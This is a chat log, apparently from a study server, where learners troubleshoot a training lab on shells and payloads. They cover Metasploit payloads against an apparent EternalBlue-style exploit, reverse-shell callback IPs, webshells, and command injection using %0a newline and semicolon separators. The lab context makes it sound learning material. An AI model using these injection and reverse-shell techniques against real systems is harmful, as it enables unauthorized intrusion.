so the payloads in msf doesnt working for you

[devout cliff]

correct. the exploit is working but the payloads ive been trying have not been

[woeful ermine]

I havent use msf for any of those hosts

so, no idea

[devout cliff]

so you used the webshell method?

[graceful rampart]

I used SMB

[woeful ermine]

what do you mean by webshell method?

[devout cliff]

can i dm you i dont want to spoil

[woeful ermine]

sure

[fathom pendant]

Are you having it call back to the right IP? ip a and see what other IP you can use

[devout cliff]

yeah im calling back to the attack box

oh

my

god

[fathom pendant]

:)

I feel like everyone has that reaction

[devout cliff]

i dont blame them

[fathom pendant]

I did the same thing so it's burned in

[devout cliff]

im just checking real quick if itll work

but i see what you meant

i might still need to change the payload

[fathom pendant]

:) that's at least what helped me doing the msfconsole way

[devout cliff]

actually its still erroring for me...

did you change the payload at all?

[fathom pendant]

I used the [1] option if I'm not mistaken

[dim wolf]

maybe you need to rise up and ||become a champion||

[fathom pendant]

Do the things you learned in that section?

[devout cliff]

generic?

ill give it a shot

[fathom pendant]

Because you're using the loopback address

127.0.0.1 is the loopback address

Try using the IP given to you

[dim wolf]

i think this is the ping host exercise

so the loopback address would be fine

[fathom pendant]

then idk ¯_(ツ)_/¯

[dim wolf]

if so then i don't really see what command you're trying to inject

try a simple whoami

[fathom pendant]

200 means that it was successful

[dim wolf]

what's the LS_COLORS for?

and %0a?

you don't need a semicolon after a newline

the command separator is the newline

semicolon is also a command separator but you only need one

[devout cliff]

its not working. in msfconsole it hangs on triggering free of corrupted buffer and then fails.

ive been getting that error on every payload i try

on every box i refresh

[fathom pendant]

And you're using the [blue] exploit

[devout cliff]

yup

and the exploit WORKS

the payload doesnt

[dim wolf]

you might need some romance in your exploit

[devout cliff]

ive tried the other

same result

[fathom pendant]

Hmmm

[dim wolf]

then i;m gona eat

[fathom pendant]

If you'll give me a few I'll sanity check this one

[devout cliff]

ok im going to try a couple others in the meantime

im also trying to figure out the other method to do it

with the webshell

[fathom pendant]

Shells&payloads live engagement yeah?

[devout cliff]

yes

WAIT

i got it

fml

when i tried the other exploit i ran it without the right lhost

[devout cliff]

did you try to exploit the host the other way? with a webshell?

[queen hatch]

I'm able to replicate that error when I use symboliclogical

Hint: ||Don't use symboliclogical||

[fathom pendant]

have not done it a different way

I'm sanity checking it now :)

[devout cliff]

ok

[fathom pendant]

Sanity check: [blue] - [1] works for host 3

if you can DM me the options you have set I can see what may be causing the issue, remember you have to run these exploits from the foothold machine

[devout cliff]

i got it to work